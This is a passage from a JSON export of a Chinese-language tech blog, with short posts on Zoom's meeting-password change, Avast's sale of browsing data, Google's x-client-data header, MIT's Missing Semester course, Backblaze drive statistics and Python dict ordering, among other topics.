    "body": "最早的時候用 <a href=\"https://zoom.us/\">Zoom</a> 只需要知道 meeting room 的編號就可以連進去，產生連結時也只需要提供號碼就能進去，後來 (不知道什麼時候開始的) 產生出來的連結會包括一組 token，而預設加入房間也需要密碼了。\r\n\r\n現在知道原因了，因為被安全通報了：「<a href=\"https://threatpost.com/zoom-fixed-flaw-opening-meetings-to-hackers/152266/\">Zoom Fixes Flaw Opening Meetings to Hackers</a>」。\r\n\r\n除了上面講到的問題以外，另外一個漏洞是本來的連結網頁就有資訊可以辨別是否為合法的 meeting room，可以讓攻擊者很快速的判斷哪些 meeting room 可以連進去。這次的修改變成不檢查，直接帶到 Zoom 的應用程式裡面，增加一些難度，但攻擊者還是可以透過 API 掃出來。\r\n\r\n這主要是當初設計上的安全問題，當初沒有設計那麼長，應該就是考慮太長的號碼會讓使用者不太容易手動輸入...",
    "title": "Zoom 預設開啟密碼原因"
  },
  {
    "id": "9401",
    "body": "從剛開始工作就有在看輕小說，但是現在住在外面租屋，實在不方便買一堆實體書，所以就弄了 <a href=\"https://www.apple.com/ipad/\">iPad</a> 在看電子書 (yeah，我對電子紙的材質還是不太喜歡，不過那是另外一回事了...)，平台的話主力就是 <a href=\"https://www.bookwalker.com.tw/\">BOOKWALKER</a>。\r\n\r\n然後每次買書都會遇到很討厭的問題，最重要的集數給我顯示出來啊啊啊 (上排中間的書名，與下排左二與中間的書名)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/m5zkAAd.webp\" /><img src=\"https://i.gslin.com/imgur/m5zkAAd.jpg\" alt=\"\" /></picture>\r\n\r\n看起來是被 <code>height</code> + <code>overflow</code> 幹掉了，所以寫了一個 <a href=\"https://github.com/gslin/usercss/blob/master/www.bookwalker.com.tw.user.css\">www.bookwalker.com.tw.user.css</a> 處理，讓他不受到 <code>height</code> 限制冒出來 (需要安裝 <a href=\"https://chrome.google.com/webstore/detail/stylus/clngdbkpkpeebahjckkjfobafhncgmne/\">Stylus</a> (Chrome) 或是 <a href=\"https://addons.mozilla.org/firefox/addon/styl-us/\">Stylus</a> (Firefox) 之類的套件)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YsM3pQH.webp\" /><img src=\"https://i.gslin.com/imgur/YsM3pQH.jpg\" alt=\"\" /></picture>\r\n\r\n這樣總算是好了點...",
    "title": "把 BOOKWALKER 的書名完整顯示出來"
  },
  {
    "id": "9403",
    "body": "<strong>Update</strong>：我寫的這篇標題與內容是錯的，請參考 comment 提到的說明。\r\n\r\n<del>在桌機上擋廣告的神器 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a> 總算是要被移植到 <a href=\"https://www.android.com/\">Android</a> 的 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 上了：「<a href=\"https://blog.mozilla.org/addons/2020/02/06/ublock-origin-for-firefox-android-nightly/\">uBlock Origin available soon in new Firefox for Android Nightly</a>」。</del>\r\n\r\n<blockquote>In the next few weeks, uBlock Origin will be the first add-on to become available in the new Firefox for Android. It is currently available on Firefox Preview Nightly and will soon be available on Firefox for Android Nightly.</blockquote>\r\n\r\n手機上的廣告一直都是個頭痛的問題啊，多了一個神器可以用總是好事...",
    "title": "Android 上的 Firefox 可以安裝 uBlock Origin 了"
  },
  {
    "id": "9404",
    "body": "忘記在哪邊看到「<a href=\"https://dynimize.com/blog/discussions/reduce-mysql-cpu-usage-through-dynamic-binary-optimization/\">Reduce MySQL CPU Usage Through Dynamic Binary Optimization</a>」這篇文章了，裡面其實是在描述自家產品 <a href=\"https://dynimize.com/\">Dynimize</a> 的威猛。\r\n\r\n翻了一些資料可以發現這個產品出來一陣子了，在 2018 的時候曾經在 <a href=\"https://www.percona.com/live/\">Percona Live</a> 上發表過：「<a href=\"https://www.percona.com/live/18/sessions/accelerating-mysql-with-jit-compilers\">Accelerating MySQL with JIT Compilers</a>」，可以看出來有點像是 PGO (<a href=\"https://en.wikipedia.org/wiki/Profile-guided_optimization\">Profile-guided optimization</a>) 的行為，只是他可以直接對 binary 處理。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qaNgy0Q.webp\" /><img src=\"https://i.gslin.com/imgur/qaNgy0Q.jpg\" alt=\"\" /></picture>\r\n\r\n定價的部份會是這類產品的重點，如果價錢比加硬體貴的話就沒那麼好用了... 在 <a href=\"https://dynimize.com/pricing\">Dynimize Pricing</a> 這邊可以看到是 per CPU 的價錢，$0.00139/hr、$1/month 或是一次性的 $24，以效能提昇的程度來看，如果在 database 這邊是 CPU bound，是個頗值得投資的項目。",
    "title": "Runtime 期間的最佳化工具：Dynimize"
  },
  {
    "id": "9405",
    "body": "過了一陣子了，可以整理一下資料記錄起來...\r\n\r\n報導可以看 <a href=\"https://www.pcmag.com/\">PCMag</a> 的「<a href=\"https://www.pcmag.com/news/the-cost-of-avasts-free-antivirus-companies-can-spy-on-your-clicks\">The Cost of Avast's Free Antivirus: Companies Can Spy on Your Clicks</a>」與 Motherboard (<a href=\"https://www.vice.com/\">VICE</a>) 的「<a href=\"https://www.vice.com/en_us/article/qjdkq7/avast-antivirus-sells-user-browsing-data-investigation\">Leaked Documents Expose the Secretive Market for Your Web Browsing Data</a>」這兩篇，大綱先把重點列出來了，<a href=\"https://www.avast.com/\">Avast</a> 在賣使用者的瀏覽記錄與行為：\r\n\r\n<blockquote>Avast is harvesting users' browser histories on the pretext that the data has been 'de-identified,' thus protecting your privacy. But the data, which is being sold to third parties, can be linked back to people's real identities, exposing every click and search they've made.</blockquote>\r\n\r\nAvast 利用免費的防毒軟體，蒐集使用者的瀏覽記錄與行為，然後透過 <a href=\"https://www.jumpshot.com/\">Jumpshot</a> 這家子公司販賣出去：\r\n\r\n<blockquote>The Avast division charged with selling the data is Jumpshot, a company subsidiary that's been offering access to user traffic from 100 million devices, including PCs and phones.</blockquote>\r\n\r\n算是「免費的最貴」的標準型。另外比較有趣的是「資料賣給了誰」這件事情：\r\n\r\n<blockquote>Who else might have access to Jumpshot's data remains unclear. The company's website says it's worked with other brands, including IBM, Microsoft, and Google. However, Microsoft said it has no current relationship with Jumpshot. IBM, on the other hand, has \"no record\" of being a client of either Avast or Jumpshot. Google did not respond to a request for comment.</blockquote>\r\n\r\n<a href=\"https://www.microsoft.com/\">Microsoft</a> 說「現在沒有關係」，<a href=\"https://www.ibm.com/\">IBM</a> 說「沒有 client 的記錄」，<a href=\"https://www.google.com/\">Google</a> 則是不回應。\r\n\r\n然後配合解釋資料長什麼樣子，以及可以怎麼用：\r\n\r\n<blockquote>For instance, a single click can theoretically look like this:\r\n\r\n<blockquote><em><strong>Device ID:</strong></em> abc123x <em><strong>Date:</strong></em> 2019/12/01 <em><strong>Hour Minute Second:</strong></em> 12:03:05 <em><strong>Domain:</strong></em> Amazon.com <em><strong>Product:</strong></em> Apple iPad Pro 10.5 - 2017 Model - 256GB, Rose Gold <em><strong>Behavior:</strong></em> Add to Cart</blockquote>\r\n\r\nAt first glance, the click looks harmless. You can't pin it to an exact user. That is, unless you're Amazon.com, which could easily figure out which Amazon user bought an iPad Pro at 12:03:05 on Dec. 1, 2019. Suddenly, device ID: 123abcx is a known user. And whatever else Jumpshot has on 123abcx's activity—from other e-commerce purchases to Google searches—is no longer anonymous.</blockquote>\r\n\r\n所以，如果 <a href=\"https://www.google.com/\">Google</a> 手上有這個資料，就可以交叉比對自家的記錄，然後得到使用者完整的記錄。\r\n\r\n在消息一公開後沒多久後，Avast 就宣佈關閉 Jumpshot，感覺連被抓包後的反應動作都超流暢，一臉就是排練過：「<a href=\"https://blog.avast.com/a-message-from-ceo-ondrej-vlcek\">A message from Avast CEO Ondrej Vlcek</a>」。\r\n\r\n看了一下，Avast 旗下還有 <a href=\"https://www.avg.com/\">AVG</a>，還有個 VPN 服務...",
    "title": "Avast 與 Jumpshot 販賣使用者瀏覽記錄與行為"
  },
  {
    "id": "9406",
    "body": "<a href=\"https://www.google.com/\">Google</a> 的搜尋廣告最近改版了，在 <a href=\"https://www.theverge.com/\">The Verge</a> 的「<a href=\"https://www.theverge.com/tldr/2020/1/23/21078343/google-ad-desktop-design-change-favicon-icon-ftc-guidelines\">Google’s ads just look like search results now</a>」這邊可以看到報導以及 screenshot：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mdsG3IH.webp\" /><img src=\"https://i.gslin.com/imgur/mdsG3IH.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到廣告的標示變成 favicon 了，使得使用者更容易誤會是搜尋內容。而這也使得廣告的點閱比例大幅提昇，像是「<a href=\"https://digiday.com/marketing/googles-latest-search-results-change-blurs-whats-ad/\">Google’s latest search results change further blurs what’s an ad</a>」這邊提到的：\r\n\r\n<blockquote>For all four clients (a local health care company, two business-to-business companies and an e-commerce company), the desktop click-through rates increased and ranged from 4% to 10.5%. All clients had slight declines in the click-through rates on mobile devices.</blockquote>\r\n\r\nThe Verge 後續也分析了這個改變帶來的反思：「<a href=\"https://www.theverge.com/tech/2020/1/24/21079696/google-serp-design-change-altavisa-ads-trust\">How much longer will we trust Google’s search results?</a>」。\r\n\r\n我的建議是 <a href=\"https://en.wikipedia.org/wiki/UBlock_Origin\">uBlock Origin</a> 當作基本工具 (在各瀏覽器上應該都有支援)，另外進階一些可以用 <a href=\"https://duckduckgo.com/\">DuckDuckGo</a> 看看，但不保證搜尋品質會讓你滿意...",
    "title": "Google 的搜尋廣告改版造成的混淆"
  },
  {
    "id": "9408",
    "body": "<a href=\"https://www.mit.edu/\">MIT</a> 推出的短期課程，在 CS 相關科系裡面不會教，但是如果學過的話會讓你的 CS 學習過程有很不一樣的改變：「<a href=\"https://missing.csail.mit.edu/\">The Missing Semester of Your CS Education</a>」。\r\n\r\n整個主軸是偏應用為主，其中花了很多篇章在講 CLI 下的工具，這點從每堂課的標題就可以看出來：\r\n\r\n<blockquote>1/13: Course overview + the shell\r\n1/14: Shell Tools and Scripting\r\n1/15: Editors (Vim)\r\n1/16: Data Wrangling\r\n1/21: Command-line Environment\r\n1/22: Version Control (Git)\r\n1/23: Debugging and Profiling\r\n1/27: Metaprogramming\r\n1/28: Security and Cryptography\r\n1/29: Potpourri\r\n1/30: Q&amp;A</blockquote>\r\n\r\n我自己快速讀過去的時候發現，雖然這是入門課程，但我還是從裡面抓到了一些以前沒有關注的關鍵字 (像是 <a href=\"https://www.python.org/\">Python</a> debugger pdb 與 profiling 相關的操作)。\r\n\r\n接下來應該會開個連載來寫一下心得與感想...",
    "title": "MIT 的「The Missing Semester of Your CS Education」"
  },
  {
    "id": "9409",
    "body": "這個系列是從『<a href=\"https://blog.gslin.org/archives/2020/02/15/9408/mit-%e7%9a%84%e3%80%8cthe-missing-semester-of-your-cs-education%e3%80%8d/\">MIT 的「The Missing Semester of Your CS Education」</a>』這邊延伸出來的，這篇文章講第一堂課「<a href=\"https://missing.csail.mit.edu/2020/course-shell/\">Course overview + the shell</a>」。\r\n\r\n前面大概講一下這 11 堂各一個小時的課大概是什麼，後面就開始講 shell 下的操作了。\r\n\r\n先講了一些基本指令 (date &amp; echo)，然後提到了環境變數 <code>$PATH</code>，接著就講目錄結構與 ls，然後就順便提到 man 可以拿來查說明，接著是講 redirect 與 pipe 以及 root 權限的特殊性 (以及 sudo)。\r\n\r\n在課程最後面的這個範例，你第一眼看不會想到是第一堂課就可以教完的東西，但的確是結合了上面提到的所有東西，可以細細品味一下：\r\n\r\n<pre>\r\n$ echo 1 | sudo tee /sys/class/leds/input6::scrolllock/brightness\r\n</pre>",
    "title": "第一堂：Course overview + the shell"
  },
  {
    "id": "9410",
    "body": "<a href=\"https://aws.amazon.com/ebs/\">EBS</a> 的 io1 推出了可以同時掛到 16 台 EC2 instance 的選項：「<a href=\"https://aws.amazon.com/blogs/aws/new-multi-attach-for-provisioned-iops-io1-amazon-ebs-volumes/\">New – Multi-Attach for Provisioned IOPS (io1) Amazon EBS Volumes</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/o3wLqi9.webp\" /><img src=\"https://i.gslin.com/imgur/o3wLqi9.jpg\" alt=\"\" /></picture>\r\n\r\n先看支援的區域，傳統主力區域 (us-east-1 與 eu-west-1) 都支援了，而亞洲區這邊反倒是南韓先支援了：\r\n\r\n<blockquote>Multi-Attach for Provisioned IOPS (io1) volumes on Amazon Elastic Block Store (EBS) is available today at no extra charge to customers in the US East (N. Virginia & Ohio), US West (Oregon), EU (Ireland), and Asia Pacific (Seoul) regions.</blockquote>\r\n\r\n其中常用的目的是 HA：\r\n\r\n<blockquote>Multi-Attach capability makes it easier to achieve higher availability for applications that provide write ordering to maintain storage consistency.</blockquote>\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Linux-HA\">Heartbeat</a> 類的應用應該可以用上這個東西，不過本來就可以透過 command line API 做到 detach &amp; attach，用這個只是少了一個動作...\r\n\r\n第二個想到的是，在實體機房的環境下，有些 filesystem (在「<a href=\"https://en.wikipedia.org/wiki/List_of_file_systems#Shared-disk_file_systems\">Shared-disk file systems</a>」裡面可以翻到一些) 可以同時掛同一個 block storage (通常是透過 <a href=\"https://en.wikipedia.org/wiki/Storage_area_network\">SAN</a>)，現在在 AWS 上面也可以這樣搞了。\r\n\r\n不過 io1 記得不便宜啊...",
    "title": "EBS io1 推出可以同時掛到多台的選項"
  },
  {
    "id": "9411",
    "body": "<a href=\"https://fosdem.org/\">FOSDEM</a> 應該是歐洲區最大的一般性的 open source conference (不是很確定)，在今年二月初的 <a href=\"https://fosdem.org/2020/\">FOSDEM 2020</a> 結束後，投影片與錄影也陸陸續續整理出來，所以也可以去挖寶翻一翻了：「<a href=\"https://fosdem.org/2020/schedule/events/\">FOSDEM 2020 - Events</a>」。\r\n\r\n另外整理一下歷年的 event 數量，這主辦方的 scalability 能力看起來很驚人啊，目前還在長：\r\n\r\n<ul>\r\n\t<li><a href=\"https://archive.fosdem.org/2013/schedule/events/\">2013</a> - 487</li>\r\n\t<li><a href=\"https://archive.fosdem.org/2014/schedule/events/\">2014</a> - 512</li>\r\n\t<li><a href=\"https://archive.fosdem.org/2015/schedule/events/\">2015</a> - 551</li>\r\n\t<li><a href=\"https://archive.fosdem.org/2016/schedule/events/\">2016</a> - 617</li>\r\n\t<li><a href=\"https://archive.fosdem.org/2017/schedule/events/\">2017</a> - 668</li>\r\n\t<li><a href=\"https://archive.fosdem.org/2018/schedule/events/\">2018</a> - 689</li>\r\n\t<li><a href=\"https://archive.fosdem.org/2019/schedule/events/\">2019</a> - 775</li>\r\n\t<li><a href=\"https://fosdem.org/2020/schedule/events/\">2020</a> - 872</li>\r\n</ul>\r\n\r\n裡面的 event 都有依照這種技術主題整理過，所以可以自己挑有興趣的主題先快速看一下投影片，有興趣的話再看影片。當然，如果看到特定有興趣的講者，也可以考慮直接看影片...",
    "title": "FOSDEM 2020 挖寶"
  },
  {
    "id": "9412",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 丟出去年的報告了：「<a href=\"https://www.backblaze.com/blog/hard-drive-stats-for-2019/\">Backblaze Hard Drive Stats for 2019</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ggrc7pZ.webp\" /><img src=\"https://i.gslin.com/imgur/ggrc7pZ.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://www.wdc.com/\">WD</a>/<a href=\"https://www.hgst.com/\">HGST</a> 的還是最耐用，再來是 <a href=\"https://toshiba.semicon-storage.com/tw/storage.html\">Toshiba</a> 的，最後是 <a href=\"https://www.seagate.com/\">Seagate</a> 的。\r\n\r\n不過有一些硬碟沒有列到表上，像是「Seagate 16 TB Drives」這組因為 2019Q4 才剛裝上去，所以才 1440 drive days，因此還沒到門檻所以沒放進報告，但就 Backblaze 測試起來看起來是個好的開始：\r\n\r\n<blockquote>In Q4 2019 we started qualifying Seagate 16 TB drives, model: ST16000NM001G. As of the end of Q4 we had 40 (forty) drives in operation, with a total of 1,440 drive days—well below our 5,000 drive day threshold for Q4, so they didn’t make the 2019 chart. There have been 0 (zero) failures through Q4, making the AFR 0%, a good start for any drive. Assuming they continue to pass our drive qualification process, they will be used in the 12 TB migration project and to add capacity as needed in 2020.</blockquote>\r\n\r\n再來是把 2017/2018/2019 擺在一起看：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/O6ejVLu.webp\" /><img src=\"https://i.gslin.com/imgur/O6ejVLu.jpg\" alt=\"\" /></picture>\r\n\r\n馬上可以看到的是 AFR 上升了不少，一個是因為 8TB 系列的硬碟進入中年期，另外是 Seagate 12TB 硬碟的問題：\r\n\r\n<blockquote>The total AFR for 2019 rose significantly in 2019. About 75% of the different drive models experienced a rise in AFR from 2018 to 2019. There are two primary drivers behind this rise. First, the 8 TB drives as a group seem to be having a mid-life crisis as they get older, with each model exhibiting their highest failure rates recorded. While none of the rates is cause for worry, they contribute roughly one fourth (1/4) of the drive days to the total, so any rise in their failure rate will affect the total. The second factor is the Seagate 12 TB drives, this issue is being aggressively addressed by the 12 TB migration project reported on previously.</blockquote>\r\n\r\n所以大原則還是跟以前差不多，沒有時間特別研究的話就先往 WD/HGST 這邊找...",
    "title": "Backblaze 的 2019 年度硬碟報告"
  },
  {
    "id": "9413",
    "body": "這兩則可以一起看，首先是 <a href=\"https://en.wikipedia.org/wiki/Jimmy_Wales\">Jimmy Wales</a> 對於提議用 blockchain 記錄維基百科的回應：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">We already store data. In a database. It works well.</p>&mdash; Jimmy Wales (@jimmy_wales) <a href=\"https://twitter.com/jimmy_wales/status/1226868636020805632?ref_src=twsrc%5Etfw\">February 10, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n另外一個是 <a href=\"https://xkcd.com/\">xkcd</a> 最近的酸圖：\r\n\r\n<a href=\"https://xkcd.com/2267/\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kND6ywz.webp\" /><img src=\"https://i.gslin.com/imgur/kND6ywz.jpg\" alt=\"\" /></picture></a>\r\n\r\n腦袋裡又瞬間冒出「詐騙集團」這個詞彙 XDDD",
    "title": "Blockchain 的使用時機"
  },
  {
    "id": "9414",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到蘋果的「<a href=\"https://cache.edge.apple/\">Apple Edge Cache</a>」這個服務，看起來就是個自家的 CDN 方案。\r\n\r\n網路要求最低要能夠 peak 到 25Gbps 不算低，不過以蘋果的用量來說應該不算是高估：\r\n\r\n<blockquote>Minimum 25 Gb/s peak traffic across all Apple traffic.</blockquote>\r\n\r\n各家 ISP 應該都會考慮，畢竟 <a href=\"https://www.apple.com/iphone/\">iPhone</a> 與 <a href=\"https://www.apple.com/ipad/\">iPad</a> 的數量可不是假的，所以目前在台灣測到的點都是台灣的機房 (看 ping latency)...\r\n\r\n另外一個有趣的事情是 SSL 的部份，從 <a href=\"https://www.ssllabs.com/\">SSL Labs</a> 的資料可以看到一些有趣的東西：「<a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=cache.edge.apple&amp;s=17.253.119.201&amp;latest\">SSL Report: cache.edge.apple (17.253.119.201)</a>」。\r\n\r\n一個是蘋果跟 <a href=\"https://www.geotrust.com/\">GeoTrust</a> 買了 Intermediate CA 再簽自己的 AEC 服務，另外一個是同時有 RSA 2048 bits 與 EC 256 bits 的 key，然後是支援 TLS 1.3 了。\r\n\r\n跟其他內容業者的玩法類似，像是 <a href=\"https://www.netflix.com/\">Netflix</a> 的 <a href=\"https://openconnect.netflix.com/\">Open Connect</a>。",
    "title": "蘋果的導流方案：Apple Edge Cache"
  },
  {
    "id": "9415",
    "body": "看到「<a href=\"https://www.ptt.cc/bbs/SYSOP/M.1581857854.A.FB7.html\">[公告] 活動部提供板主事實查核申請管道</a>」這個，<a href=\"https://www.ptt.cc/\">Ptt</a> 跟三個事實查核單位合作：\r\n\r\n<blockquote>1.台灣事實查核中心（Taiwan FactCheck Center）\r\n2.MyGoPen 麥擱騙\r\n3.蘭姆酒吐司（Rumor & Truth）</blockquote>\r\n\r\n不知道會有怎麼樣的反應速度與標示方式...",
    "title": "Ptt 與事實查核單位合作了"
  },
  {
    "id": "9419",
    "body": "在「<a href=\"https://theartofmachinery.com/2020/01/27/systems_programming_probability.html\">Some Useful Probability Facts for Systems Programming</a>」這邊看到的四個機率問題，而且都有接近解：\r\n\r\n<ul>\r\n\t<li>每一次有 [latex]\\frac{1}{N}[/latex] 成功的機率，跑 [latex]N[/latex] 次後最少成功一次的機率。</li>\r\n\t<li>[latex]N[/latex] 個球隨機丟到 [latex]N[/latex] 個籃子後有空籃子的機率。</li>\r\n\t<li>[latex]N[/latex] 個數字在隨機排序後有數字不改變位置的機率。</li>\r\n\t<li>[latex]N[/latex] 種 coupon 平均隨機出現，要抽中一套 [latex]N[/latex] 種都有的 coupon 需要抽幾次的期望值。</li>\r\n</ul>\r\n\r\n會想要寫這篇是因為發現最後一題就是「大人買」抽卡問題的簡化版本 (這邊簡化成機率相同，一般的情境下應該是不同的)。\r\n\r\n可以看到歐拉常數 [latex]e[/latex] 與自然對數 [latex]\\ln{}[/latex] (i.e. 以 [latex]e[/latex] 為底的對數) 滿天飛 XDDD",
    "title": "四個機率問題"
  },
  {
    "id": "9420",
    "body": "<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 前陣子宣佈了要淘汰透過 HTTP 下載檔案的計畫：「<a href=\"https://security.googleblog.com/2020/02/protecting-users-from-insecure_6.html\">Protecting users from insecure downloads in Google Chrome</a>」。\r\n\r\n分成不同檔案類型的下載，可以看到不同類型檔案會在不同時間點被阻擋：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9y50ga9.webp\" /><img src=\"https://i.gslin.com/imgur/9y50ga9.jpg\" alt=\"\" /></picture>\r\n\r\n所以到時候 IE 的功能又多了一個？",
    "title": "Google Chrome 要開始管制非 HTTP 的下載了"
  },
  {
    "id": "9422",
    "body": "這個系列是從『<a href=\"https://blog.gslin.org/archives/2020/02/15/9408/mit-%e7%9a%84%e3%80%8cthe-missing-semester-of-your-cs-education%e3%80%8d/\">MIT 的「The Missing Semester of Your CS Education」</a>』這邊延伸出來的，這篇文章講第二堂課「Shell Tools and Scripting」。\r\n\r\n這堂有點像是第一堂的延伸，在講更多 shell 的操作與工具，然後說明 shell script 怎麼寫。\r\n\r\n開頭就先說明有 function，然後講了不少 magic variable，像是 <code>$0</code>、<code>$1</code> 到 <code>$9</code>，而 <code>$@</code> 與 <code>$#</code> 也提到了 (但居然沒提到 <code>$*</code>)，然後再來是 <code>$$</code>、<code>!!</code> 與 <code>$_</code>。\r\n\r\n然後提到 true 與 false，接著就講條件 || 與 &amp;&amp; 了。後面就開始講 shell 裡面的 for 與 if，基本上到這邊已經能寫不少東西了？\r\n\r\n後面就介紹更多工具...",
    "title": "第二堂：「Shell Tools and Scripting」"
  },
  {
    "id": "9423",
    "body": "在「<a href=\"https://softwaremaniacs.org/blog/2020/02/05/dicts-ordered/en/\">Dicts are now ordered, get used to it</a>」這邊看到的，因為 <a href=\"https://www.python.org/\">Python</a> 官方 (也就是 CPython) 實做 <code>dict</code> 的方式改變，然後決定把這個特性當作是 <a href=\"https://en.wikipedia.org/wiki/Social_contract\">social contract</a>，而不是當作 <a href=\"https://en.wikipedia.org/wiki/Side_effect\">side effect</a> 的特性 (也就是不保證之後版本會有相同特性)。\r\n\r\n<blockquote>Changed in version 3.7: Dictionary order is guaranteed to be insertion order. This behavior was an implementation detail of CPython from 3.6.</blockquote>\r\n\r\n作者裡面的兩張圖清楚表示出來以前的版本怎麼實做，與 3.7+ 的版本怎麼實做：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yQwne3D.webp\" /><img src=\"https://i.gslin.com/imgur/yQwne3D.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/SOIO7t2.webp\" /><img src=\"https://i.gslin.com/imgur/SOIO7t2.jpg\" alt=\"\" /></picture>\r\n\r\n這樣就很好理解了。\r\n\r\n不過考慮到還是有些系統用 Python 3.5 (像是 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 16.04 內建的 <a href=\"https://packages.ubuntu.com/xenial/python3\">python3</a>) 與 Python 3.6 (Ubuntu 18.04 內建的 <a href=\"https://packages.ubuntu.com/bionic/python3\">python3</a>，雖然沒問題，但當時還沒有寫出來)，也許還是先不要依賴這個行為會比較好。\r\n\r\n不過以插入的順序列出好像不是很常用到...",
    "title": "Python 3.7+ 保證 dict 內容的順序"
  },
  {
    "id": "9425",
    "body": "標題裡是說這本書：「<a href=\"https://pragprog.com/book/bksqla/sql-antipatterns\">SQL Antipatterns: Avoiding the Pitfalls of Database Programming</a>」，在 2010 年出版的書。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HcMtDrQl.webp\" /><img src=\"https://i.gslin.com/imgur/HcMtDrQl.jpg\" alt=\"\" /></picture>\r\n\r\n我是在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=22324691\">Ask HN: What are some examples of good database schema designs?</a>」這篇，裡面提到了這本書，看了一下章節看到只有 USD$25 就馬上先買起來丟到 <a href=\"https://en.wikipedia.org/wiki/Amazon_Kindle\">Kindle</a> 裡面...\r\n\r\n這不是給資料庫初學者看的書，主要的讀者是對於「標準」夠熟 (學校教的那些理論基礎，像是各種 index 的底層結構，正規化的方法，以及正規化的原因)，然後也有一些實務經驗後的開發者。\r\n\r\n因為裡面把常遇到的問題，與可能的解決方式 (通常都違反當初在學校學的理論基礎) 整理成這本書，在底子還沒打穩前跑來看這本書並不是個好主意...\r\n\r\n另外裡面雖然不一定有提到，但有蠻多技巧其實是用在「為了效能而不則手段」的情境下，所以這些內容對於想要調校比較大的網站應該也是很有幫助。",
    "title": "SQL Antipatterns: Avoiding the Pitfalls of Database Programming"
  },
  {
    "id": "9426",
    "body": "前陣子 <a href=\"https://www.chromium.org/\">Chromium</a> 團隊在研究要移除 <code>User-Agent</code> 字串的事情 (參考「<a href=\"https://blog.gslin.org/archives/2020/01/26/9386/user-agent-%E7%9A%84%E6%B7%98%E6%B1%B0%E6%8F%90%E6%A1%88/\">User-Agent 的淘汰提案</a>」)，結果 <a href=\"https://github.com/kiwibrowser\">kiwibrowser</a> 就直接炸下去，<a href=\"https://www.google.com/\">Google</a> 很久前就會針對自家網站送出 <code>x-client-data</code> 這個 HTTP header，裡面足以辨識使用者瀏覽器的單一性：「<a href=\"https://github.com/w3ctag/design-reviews/issues/467#issuecomment-581944600\">Partial freezing of the User-Agent string#467</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/X6jsZh5.webp\" /><img src=\"https://i.gslin.com/imgur/X6jsZh5.jpg\" alt=\"\" /></picture>\r\n\r\n在 <a href=\"https://www.google.com/\">Google</a> 的白皮書裡面是說用在 server 的試驗：\r\n\r\n<blockquote>We want to build features that users want, so a subset of users may get a sneak peek at new functionality being tested before it’s launched to the world at large. A list of field trials that are currently active on your installation of Chrome will be included in all requests sent to Google. This Chrome-Variations header (X-Client-Data) will not contain any personally identifiable information, and will only describe the state of the installation of Chrome itself, including active variations, as well as server-side experiments that may affect the installation.\r\n\r\nThe variations active for a given installation are determined by a seed number which is randomly selected on first run. If usage statistics and crash reports are disabled, this number is chosen between 0 and 7999 (13 bits of entropy). If you would like to reset your variations seed, run Chrome with the command line flag “--reset-variation-state”. Experiments may be further limited by country (determined by your IP address), operating system, Chrome version and other parameters.</blockquote>\r\n\r\n但因為這個預設值開啟的關係，就算關掉後也足以把使用者再分類到另外一個區塊，仍然具有高度辨識性，不是你 Google 說無法辨識就算數。\r\n\r\n另外如果看 source code 裡的說明：\r\n\r\n<pre>    // Note the criteria for attaching client experiment headers:\r\n    // 1. We only transmit to Google owned domains which can evaluate\r\n    // experiments.\r\n    //    1a. These include hosts which have a standard postfix such as:\r\n    //         *.doubleclick.net or *.googlesyndication.com or\r\n    //         exactly www.googleadservices.com or\r\n    //         international TLD domains *.google.<TLD> or *.youtube.<TLD>.\r\n    // 2. Only transmit for non-Incognito profiles.\r\n    // 3. For the X-Client-Data header, only include non-empty variation IDs.</pre>\r\n\r\n可以看到 <code>*.doubleclick.net</code>、<code>*.googlesyndication.com</code> 與 <code>www.googleadservices.com</code> 全部都是廣告相關，另外 Google 自家搜尋引擎是直接提供廣告 (不透過前面提到的網域)，<a href=\"https://www.youtube.com/\">YouTube</a> 也是一樣的情況，所以完全可以猜測 <code>x-client-data</code> 這個資料就是用在廣告相關的系統上。\r\n\r\n<a href=\"https://www.theregister.co.uk/\">The Register</a> 在「<a href=\"https://www.theregister.co.uk/2020/02/05/google_chrome_id_numbers/\">Is Chrome really secretly stalking you across Google sites using per-install ID numbers? We reveal the truth</a>」這邊用粗體的 <strong>Update</strong> 提到了 <a href=\"https://en.wikipedia.org/wiki/General_Data_Protection_Regulation\">GDPR</a> 的問題，不確定是不是開始有單位在調查了：\r\n\r\n<blockquote><strong>Updated</strong> Google is potentially facing a massive privacy and GDPR row over Chrome sending per-installation ID numbers to the mothership.</blockquote>\r\n\r\n在這個問題沒修正之前，只能暫時用操作 HTTP header 的 extension 移掉這個欄位。",
    "title": "Google 用 x-client-data 追蹤使用者的問題"
  },
  {
    "id": "9427",
